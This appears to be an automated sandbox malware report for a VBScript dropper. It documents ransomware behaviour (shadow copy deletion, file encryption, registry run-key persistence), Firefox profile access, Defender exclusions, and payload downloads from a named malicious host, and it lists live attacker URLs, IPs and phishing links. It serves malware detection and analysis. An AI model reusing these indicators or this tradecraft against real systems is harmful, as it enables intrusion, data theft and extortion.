Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503526248.6239d2a9-a75b-4d04-9f02-ff51a9a6c67a.health.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503526304.da35b044-d579-4545-b54a-ea539a7ed843.health.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\protections.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\SiteSecurityServiceState.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503498449.63479b8a-b3f3-4e99-9b36-3d051426e737.new-profile.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\AlternateServices.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\saved-telemetry-pings\d6fc6761-8dca-414d-bcd1-bdb2a6101c74
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503513605.0b8e5024-43d9-4b29-8d44-b2128589e9a6.health.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\favicons.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503498460.d6fc6761-8dca-414d-bcd1-bdb2a6101c74.main.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\extension-preferences.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\ExperimentStoreData.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\db\data.safe.bin
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\shield-preference-experiments.json
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information221
Scripting
Valid Accounts1
Exploitation for Client Execution
221
Scripting
1
DLL Side-Loading
1
Disable or Modify Tools
1
OS Credential Dumping
3
File and Directory Discovery
Remote Services1
Archive Collected Data
3
Ingress Tool Transfer
Exfiltration Over Other Network Medium1
Data Encrypted for Impact
CredentialsDomainsDefault Accounts3
PowerShell
1
DLL Side-Loading
11
Process Injection
1
Obfuscated Files or Information
LSASS Memory22
System Information Discovery
Remote Desktop Protocol1
Browser Session Hijacking
1
Encrypted Channel
Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAt21
Registry Run Keys / Startup Folder
21
Registry Run Keys / Startup Folder
1
DLL Side-Loading
Security Account Manager121
Security Software Discovery
SMB/Windows Admin Shares1
Data from Local System
3
Non-Application Layer Protocol
Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
File Deletion
NTDS1
Process Discovery
Distributed Component Object ModelInput Capture4
Application Layer Protocol
Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script21
Masquerading
LSA Secrets41
Virtualization/Sandbox Evasion
SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
Modify Registry
Cached Domain Credentials1
Application Window Discovery
VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items41
Virtualization/Sandbox Evasion
DCSync1
Remote System Discovery
Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job11
Process Injection
Proc Filesystem1
System Network Configuration Discovery
Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
Rundll32
/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1575116 Sample: NOTIFICATION_OF_DEPENDANTS.vbs Startdate: 14/12/2024 Architecture: WINDOWS Score: 100 123 kiltone.top 2->123 145 Sigma detected: Delete shadow copy via WMIC 2->145 147 Sigma detected: New RUN Key Pointing to Suspicious Folder 2->147 149 Sigma detected: Invoke-Obfuscation CLIP+ Launcher 2->149 151 8 other signatures 2->151 14 wscript.exe 1 2->14         started        17 eryy65ty.exe 2->17         started        19 eryy65ty.exe 2->19         started        21 2 other processes 2->21 signatures3 process4 dnsIp5 183 VBScript performs obfuscated calls to suspicious functions 14->183 185 Wscript starts Powershell (via cmd or directly) 14->185 187 Windows Scripting host queries suspicious COM object (likely to drop second stage) 14->187 191 2 other signatures 14->191 24 cmd.exe 1 14->24         started        26 cmd.exe 1 14->26         started        29 cmd.exe 1 14->29         started        31 cmd.exe 1 14->31         started        189 Deletes shadow drive data (may be related to ransomware) 17->189 33 cmd.exe 17->33         started        35 WMIC.exe 17->35         started        37 WMIC.exe 17->37         started        39 cmd.exe 19->39         started        41 2 other processes 19->41 131 127.0.0.1 unknown unknown 21->131 signatures6 process7 signatures8 47 2 other processes 24->47 167 Suspicious powershell command line found 26->167 169 Wscript starts Powershell (via cmd or directly) 26->169 171 Adds a directory exclusion to Windows Defender 26->171 49 2 other processes 26->49 52 2 other processes 29->52 56 2 other processes 31->56 173 Uses ping.exe to sleep 33->173 58 2 other processes 33->58 43 conhost.exe 35->43         started        45 conhost.exe 37->45         started        60 2 other processes 39->60 62 2 other processes 41->62 process9 dnsIp10 64 rundll32.exe 47->64         started        141 Powershell drops PE file 49->141 66 chrome.exe 20 49->66         started        129 kiltone.top 45.125.67.168, 443, 49737, 49782 TELE-ASTeleAsiaLimitedHK Hong Kong 52->129 121 C:\Users\user\AppData\Local\...\fjeljies.cpl, PE32 52->121 dropped 143 Loading BitLocker PowerShell Module 56->143 file11 signatures12 process13 dnsIp14 69 rundll32.exe 64->69         started        125 192.168.2.11, 138, 443, 49707 unknown unknown 66->125 127 239.255.255.250 unknown Reserved 66->127 72 chrome.exe 66->72         started        process15 dnsIp16 165 Adds a directory exclusion to Windows Defender 69->165 75 cmd.exe 69->75         started        77 cmd.exe 69->77         started        80 cmd.exe 69->80         started        133 www.oldmutual.co.za 72->133 135 www.google.com 142.250.181.132, 443, 49728, 49870 GOOGLEUS United States 72->135 137 d12y248af9ueom.cloudfront.net 108.158.75.92, 443, 49712, 49727 AMAZON-02US United States 72->137 signatures17 process18 signatures19 82 eryy65ty.exe 75->82         started        86 conhost.exe 75->86         started        175 Suspicious powershell command line found 77->175 177 Wscript starts Powershell (via cmd or directly) 77->177 179 Uses ping.exe to sleep 77->179 181 2 other signatures 77->181 88 powershell.exe 77->88         started        90 conhost.exe 77->90         started        92 powershell.exe 80->92         started        94 conhost.exe 80->94         started        process20 file21 111 C:\Users\user\...\HTAGVDFUIE.mp3.izrN (copy), DOS 82->111 dropped 113 C:\Users\user\Downloads\HTAGVDFUIE.mp3, DOS 82->113 dropped 115 C:\Users\user\...\MNULNCRIYC.xlsx.xsPl (copy), DOS 82->115 dropped 119 121 other malicious files 82->119 dropped 153 Machine Learning detection for dropped file 82->153 155 Deletes shadow drive data (may be related to ransomware) 82->155 157 May encrypt documents and pictures (Ransomware) 82->157 163 4 other signatures 82->163 96 cmd.exe 82->96         started        99 WMIC.exe 82->99         started        101 WMIC.exe 82->101         started        159 Loading BitLocker PowerShell Module 88->159 161 Powershell drops PE file 88->161 117 C:\Users\user\AppData\Local\...\eryy65ty.exe, PE32 92->117 dropped signatures22 process23 signatures24 139 Uses ping.exe to sleep 96->139 103 conhost.exe 96->103         started        105 PING.EXE 96->105         started        107 conhost.exe 99->107         started        109 conhost.exe 101->109         started        process25

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
SourceDetectionScannerLabelLink
NOTIFICATION_OF_DEPENDANTS.vbs7%VirustotalBrowse
NOTIFICATION_OF_DEPENDANTS.vbs3%ReversingLabsWin32.Trojan.Generic
SourceDetectionScannerLabelLink
C:\Users\user\AppData\Local\Temp\eryy65ty.exe100%Joe Sandbox ML
No Antivirus matches
No Antivirus matches
SourceDetectionScannerLabelLink
file:///C:/Users/user/Downloads/downloaded.pdf0%Avira URL Cloudsafe
https://kiltone.td0%Avira URL Cloudsafe
https://www.oldmutual.co.za/favicon.ico0%Avira URL Cloudsafe
https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4430%Avira URL Cloudsafe
https://kiltone.top/stelin/rwcla.cpl0%Avira URL Cloudsafe
https://kiltone.top/stelin/Gosjeufon.cpl-Outfile$env:tmp0%Avira URL Cloudsafe
https://kiltone.top/stelin/Gosjeufon.cpl0%Avira URL Cloudsafe
https://www.oldmutual.co.za/v3/assets/blt00%Avira URL Cloudsafe
https://kiltone.top/stelin/rwcla.0%Avira URL Cloudsafe
NameIPActiveMaliciousAntivirus DetectionReputation
d12y248af9ueom.cloudfront.net
108.158.75.92
truefalse
    unknown
    www.google.com
    142.250.181.132
    truefalse
      high
      kiltone.top
      45.125.67.168
      truetrue
        unknown
        www.oldmutual.co.za
        unknown
        unknowntrue
          unknown
          NameMaliciousAntivirus DetectionReputation
          https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdftrue
            unknown
            https://www.oldmutual.co.za/favicon.icofalse
            • Avira URL Cloud: safe
            unknown
            https://kiltone.top/stelin/Gosjeufon.cpltrue
            • Avira URL Cloud: safe
            unknown
            https://kiltone.top/stelin/rwcla.cpltrue
            • Avira URL Cloud: safe
            unknown
            file:///C:/Users/user/Downloads/downloaded.pdffalse
            • Avira URL Cloud: safe
            unknown
            NameSourceMaliciousAntivirus DetectionReputation
            https://www.avito.ru/3870112724rsegmnoittet-es.sqlite.34.drfalse
              high
              https://digify.com/a/#/access/loginrundll32.exe, 00000016.00000002.2011534286.000000000263A000.00000004.00000020.00020000.00000000.sdmp, fjeljies.cpl.16.drfalse
                high
                https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbW4pDk4pbW4CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYiprefs.js.34.drfalse
                  high
                  https://www.ctrip.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                    high
                    https://g.live.com/odclientsettings/ProdV2.C:svchost.exe, 0000000A.00000003.1349875196.000002B6CE3C0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.drfalse
                      high
                      https://kiltone.tdwscript.exe, 00000000.00000002.1494571081.00000198F7605000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      unknown
                      https://www.leboncoin.fr/3870112724rsegmnoittet-es.sqlite.34.drfalse
                        high
                        https://kiltone.top/stelin/Gosjeufon.cpl-Outfile$env:tmpcmd.exe, 0000001D.00000002.1643205950.0000000002DF0000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        unknown
                        https://account.bellmedia.c3870112724rsegmnoittet-es.sqlite.34.drfalse
                          high
                          https://g.live.com/odclientsettings/Prod.C:edb.log.10.dr, qmgr.db.10.drfalse
                            high
                            https://weibo.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                              high
                              https://login.microsoftonline.com3870112724rsegmnoittet-es.sqlite.34.drfalse
                                high
                                https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b443wscript.exe, 00000000.00000003.1491191170.00000198F767F000.00000004.00000020.00020000.00000000.sdmp, NOTIFICATION_OF_DEPENDANTS.vbstrue
                                • Avira URL Cloud: safe
                                unknown
                                https://www.ifeng.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                  high
                                  https://www.zhihu.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                    high
                                    http://x1.c.lencr.org/0cert9.db.34.drfalse
                                      high
                                      http://x1.i.lencr.org/0cert9.db.34.drfalse
                                        high
                                        https://www.msn.com3870112724rsegmnoittet-es.sqlite.34.drfalse
                                          high
                                          https://www.oldmutual.co.za/v3/assets/blt0wscript.exe, 00000000.00000002.1494571081.00000198F7605000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1500936311.00000198F9520000.00000004.00000020.00020000.00000000.sdmptrue
                                          • Avira URL Cloud: safe
                                          unknown
                                          https://www.reddit.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                            high
                                            https://www.amazon.ca/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                              high
                                              https://www.ebay.co.uk/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                high
                                                https://github.com/mozilla/webcompat-reporterextensions.json.34.drfalse
                                                  high
                                                  https://www.amazon.co.uk/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                    high
                                                    https://www.ebay.de/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                      high
                                                      https://screenshots.firefox.com/extensions.json.34.drfalse
                                                        high
                                                        https://www.amazon.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                          high
                                                          https://www.google.com/search?client=firefox-b-d&q=ca69b6fc-ff9f-4d48-bb41-c9832fdd5179.34.dr, 63479b8a-b3f3-4e99-9b36-3d051426e737.34.drfalse
                                                            high
                                                            http://crl.rootca1.amazontrust.com/rootca1.crl0cert9.db.34.drfalse
                                                              high
                                                              http://crl.ver)svchost.exe, 0000000A.00000002.2602166639.000002B6CE600000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                high
                                                                http://ocsp.rootca1.amazontrust.com0:cert9.db.34.drfalse
                                                                  high
                                                                  https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500prefs.js.34.drfalse
                                                                    high
                                                                    https://www.wykop.pl/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                      high
                                                                      https://twitter.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                        high
                                                                        https://digify.com/a/#/access/logincmdfjeljies.cpl.16.drfalse
                                                                          high
                                                                          https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-brplaces.sqlite.34.drfalse
                                                                            high
                                                                            https://www.olx.pl/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                              high
                                                                              https://www.youtube.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                high
                                                                                https://allegro.pl/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                  high
                                                                                  https://support.mozilla.org/products/firefoxfavicons.sqlite.34.drfalse
                                                                                    high
                                                                                    https://MD8.mozilla.org/1/m3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                      high
                                                                                      https://www.bbc.co.uk/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                        high
                                                                                        https://bugzilla.mo3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                          high
                                                                                          https://kiltone.top/stelin/rwcla.wscript.exe, wscript.exe, 00000000.00000002.1494571081.00000198F7605000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1500936311.00000198F9520000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                          • Avira URL Cloud: safe
                                                                                          unknown
                                                                                          https://support.mozilla.org/products/firefoxgro.allizom.troppus.Qb0WswhkLhoaplaces.sqlite.34.drfalse
                                                                                            high
                                                                                            https://www.amazon.fr/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                              high
                                                                                              http://crt.rootca1.amazontrust.com/rootca1.cer0?cert9.db.34.drfalse
                                                                                                high
                                                                                                https://www.google.com/complete/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                                  high
                                                                                                  https://www.google.com/search?client=firefox-b-d&q=&metrics#search.engine.default.verifieddata.safe.bin.34.drfalse
                                                                                                    high
                                                                                                    https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpgprefs.js.34.drfalse
                                                                                                      high
                                                                                                      https://support.mozilla.orgplaces.sqlite.34.drfalse
                                                                                                        high
                                                                                                        https://www.google.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                                          high
                                                                                                          https://www.google.com/search?client=firefox-b-d&q=&data.safe.bin.34.drfalse
                                                                                                            high
                                                                                                            https://www.iqiyi.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                                              high
                                                                                                              https://www.amazon.de/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                                                high
                                                                                                                https://www.baidu.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                                                  high
                                                                                                                  • No. of IPs < 25%
                                                                                                                  • 25% < No. of IPs < 50%
                                                                                                                  • 50% < No. of IPs < 75%
                                                                                                                  • 75% < No. of IPs
                                                                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                                                                  45.125.67.168
                                                                                                                  kiltone.topHong Kong
                                                                                                                  133398TELE-ASTeleAsiaLimitedHKtrue
                                                                                                                  142.250.181.132
                                                                                                                  www.google.comUnited States
                                                                                                                  15169GOOGLEUSfalse
                                                                                                                  239.255.255.250
                                                                                                                  unknownReserved
                                                                                                                  unknownunknownfalse
                                                                                                                  108.158.75.92
                                                                                                                  d12y248af9ueom.cloudfront.netUnited States
                                                                                                                  16509AMAZON-02USfalse
                                                                                                                  IP
                                                                                                                  192.168.2.11
                                                                                                                  127.0.0.1
                                                                                                                  Joe Sandbox version:41.0.0 Charoite
                                                                                                                  Analysis ID:1575116
                                                                                                                  Start date and time:2024-12-14 13:58:35 +01:00
                                                                                                                  Joe Sandbox product:CloudBasic
                                                                                                                  Overall analysis duration:0h 8m 35s
                                                                                                                  Hypervisor based Inspection enabled:false
                                                                                                                  Report type:full
                                                                                                                  Cookbook file name:default.jbs
                                                                                                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                  Number of analysed new started processes analysed:70
                                                                                                                  Number of new started drivers analysed:0
                                                                                                                  Number of existing processes analysed:0
                                                                                                                  Number of existing drivers analysed:0
                                                                                                                  Number of injected processes analysed:0
                                                                                                                  Technologies:
                                                                                                                  • HCA enabled
                                                                                                                  • EGA enabled
                                                                                                                  • AMSI enabled
                                                                                                                  Analysis Mode:default
                                                                                                                  Analysis stop reason:Timeout
                                                                                                                  Sample name:NOTIFICATION_OF_DEPENDANTS.vbs
                                                                                                                  Detection:MAL
                                                                                                                  Classification:mal100.rans.phis.troj.spyw.expl.evad.winVBS@100/821@5/6
                                                                                                                  EGA Information:Failed
                                                                                                                  HCA Information:
                                                                                                                  • Successful, ratio: 100%
                                                                                                                  • Number of executed functions: 0
                                                                                                                  • Number of non-executed functions: 0
                                                                                                                  Cookbook Comments:
                                                                                                                  • Found application associated with file extension: .vbs
                                                                                                                  • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, consent.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
                                                                                                                  • Excluded IPs from analysis (whitelisted): 142.250.181.99, 64.233.164.84, 172.217.17.78, 142.250.181.142, 184.28.90.27, 199.232.214.172, 192.229.221.95, 172.217.17.35, 34.104.35.123, 172.217.19.206, 13.107.246.63, 172.202.163.200
                                                                                                                  • Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, edgedl.me.gvt1.com, e16604.g.akamaiedge.net, update.googleapis.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net
                                                                                                                  • Not all processes where analyzed, report is missing behavior information
                                                                                                                  • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                  • Report size getting too big, too many NtCreateFile calls found.
                                                                                                                  • Report size getting too big, too many NtCreateKey calls found.
                                                                                                                  • Report size getting too big, too many NtOpenFile calls found.
                                                                                                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                  • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                  • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                  • Report size getting too big, too many NtQueryVolumeInformationFile calls found.
                                                                                                                  • Report size getting too big, too many NtReadFile calls found.
                                                                                                                  • Report size getting too big, too many NtSetInformationFile calls found.
                                                                                                                  • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                  TimeTypeDescription
                                                                                                                  07:59:32API Interceptor128x Sleep call for process: powershell.exe modified
                                                                                                                  07:59:35API Interceptor2x Sleep call for process: svchost.exe modified
                                                                                                                  08:00:04API Interceptor1x Sleep call for process: rundll32.exe modified
                                                                                                                  08:00:10API Interceptor6x Sleep call for process: WMIC.exe modified
                                                                                                                  14:00:15AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run XPSUDTARW C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                  14:00:23AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run XPSUDTARW C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                  14:00:36AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt
                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                  239.255.255.250file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                    https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2F7T2aAE-SUREDANNYWthbnNoYS5rYW5vZGlhQGx0aW1pbmR0cmVlLmNvbQ==Get hashmaliciousHTMLPhisherBrowse
                                                                                                                      https://publuu.com/flip-book/749011/1660718Get hashmaliciousHTMLPhisherBrowse
                                                                                                                        file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, XmrigBrowse
                                                                                                                          https://u13974777.ct.sendgrid.net/ls/click?upn=u001.1GFl1p-2BBYL-2Bhgs5F-2B0NOkrtNxvRU5lHyHn9X7Gay0rMweTw4Bty7YorCE1pBfo679HN2Nod-2BfRWA-2FvzNVU6n0ycgVO9YFLntVOrRszMr10A-3DE-mj_xaXJc0NsC5WAXuVv6HNgzGH9nxkzD8xRdi-2BQVNVTAgV30zfSKc1z4I-2Bc6Qx1hEzdtXusfFTLvSScqQmgK1DgmCe6NsmhCnbLpmZI7EPM56c0IpOXy2jX8FUofqX-2FLwkrDNu-2BJ8VdkhW-2BcibVgB56YvBarWAJ68QdVLDk-2BreYFAbG2RxK5FI2ZOf8OuVaYqzfkm-2FGiI9tY4Y1XN-2FN7Uh8Vtzi-2FP-2B8s9qjOHBuznAYsq-2B4GCewCcJExgcNnMrLH-2B3Pv6vH6wzFQkN2aMTddwwaWvcIkZYQDF7aLn1FYUQMocCkCTJEmkArX-2Bdrge72rYVSFN-2FsI6AAcwN5SA74y-2B4g6Q-3D-3DGet hashmaliciousUnknownBrowse
                                                                                                                            Documents.pdfGet hashmaliciousRemcos, DBatLoaderBrowse
                                                                                                                              http://vzgb5l.elnk8.com/83885021a686e36f9150aaf51cbc0afdhGet hashmaliciousUnknownBrowse
                                                                                                                                https://www.canva.com/link?target=https%3A%2F%2Fgu3.watetiona.com%2FYEcft%2F&design=DAGZLjls8N8&accessRole=viewer&linkSource=documentGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                  file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, XmrigBrowse
                                                                                                                                    https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.comGet hashmaliciousUnknownBrowse
                                                                                                                                      108.158.75.92NOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                        d12y248af9ueom.cloudfront.netNOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                        • 108.158.75.92
                                                                                                                                        https://ury.io/aVPeBaGet hashmaliciousUnknownBrowse
                                                                                                                                        • 52.222.214.74
                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                        AMAZON-02USprofroma invoice.exeGet hashmaliciousFormBookBrowse
                                                                                                                                        • 13.248.169.48
                                                                                                                                        ORDER - 401.exeGet hashmaliciousFormBookBrowse
                                                                                                                                        • 13.228.81.39
                                                                                                                                        rebirth.arm5.elfGet hashmaliciousGafgytBrowse
                                                                                                                                        • 34.243.160.129
                                                                                                                                        https://publuu.com/flip-book/749011/1660718Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                        • 13.59.79.78
                                                                                                                                        https://u13974777.ct.sendgrid.net/ls/click?upn=u001.1GFl1p-2BBYL-2Bhgs5F-2B0NOkrtNxvRU5lHyHn9X7Gay0rMweTw4Bty7YorCE1pBfo679HN2Nod-2BfRWA-2FvzNVU6n0ycgVO9YFLntVOrRszMr10A-3DE-mj_xaXJc0NsC5WAXuVv6HNgzGH9nxkzD8xRdi-2BQVNVTAgV30zfSKc1z4I-2Bc6Qx1hEzdtXusfFTLvSScqQmgK1DgmCe6NsmhCnbLpmZI7EPM56c0IpOXy2jX8FUofqX-2FLwkrDNu-2BJ8VdkhW-2BcibVgB56YvBarWAJ68QdVLDk-2BreYFAbG2RxK5FI2ZOf8OuVaYqzfkm-2FGiI9tY4Y1XN-2FN7Uh8Vtzi-2FP-2B8s9qjOHBuznAYsq-2B4GCewCcJExgcNnMrLH-2B3Pv6vH6wzFQkN2aMTddwwaWvcIkZYQDF7aLn1FYUQMocCkCTJEmkArX-2Bdrge72rYVSFN-2FsI6AAcwN5SA74y-2B4g6Q-3D-3DGet hashmaliciousUnknownBrowse
                                                                                                                                        • 13.227.2.22
                                                                                                                                        http://vzgb5l.elnk8.com/83885021a686e36f9150aaf51cbc0afdhGet hashmaliciousUnknownBrowse
                                                                                                                                        • 44.227.215.28
                                                                                                                                        https://www.canva.com/link?target=https%3A%2F%2Fgu3.watetiona.com%2FYEcft%2F&design=DAGZLjls8N8&accessRole=viewer&linkSource=documentGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                        • 34.217.153.224
                                                                                                                                        18037.docGet hashmaliciousUnknownBrowse
                                                                                                                                        • 15.222.187.200
                                                                                                                                        Codale Electric Supply Health Insurance Benefits Open Enrollment Plan.html.shtmlGet hashmaliciousUnknownBrowse
                                                                                                                                        • 34.253.40.242
